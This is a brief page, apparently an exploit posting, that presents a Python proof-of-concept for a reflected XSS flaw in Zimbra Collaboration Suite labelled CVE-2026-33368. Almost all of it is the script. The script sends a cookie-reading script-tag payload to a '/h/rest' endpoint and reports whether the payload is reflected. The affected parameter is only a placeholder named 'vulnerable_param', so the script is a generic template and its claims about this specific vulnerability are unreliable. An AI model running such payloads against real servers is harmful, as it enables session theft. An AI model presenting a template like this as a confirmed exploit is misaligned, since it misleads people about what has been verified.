CVE-2026-33368 Zimbra Collaboration Suite 反射型XSS漏洞

import requests # PoC for CVE-2026-33368: Reflected XSS in Zimbra Collaboration Suite # Target Endpoint: /h/rest target_url = "http://<target-ip>/h/rest" xss_payload = "<script>alert(document.cookie)</script>" # The vulnerability lies in improper sanitization of parameters passed to the REST interface. # An attacker crafts a URL that includes the payload in a vulnerable parameter. params = { "vulnerable_param": xss_payload } try: response = requests.get(target_url, params=params, verify=False) if xss_payload in response.text: print("[+] Vulnerability Confirmed! Payload is reflected in the response.") print(f"[+] Exploit URL: {response.url}") else: print("[-] Payload not reflected. Verify affected version and endpoint.") except Exception as e: print(f"Error: {e}")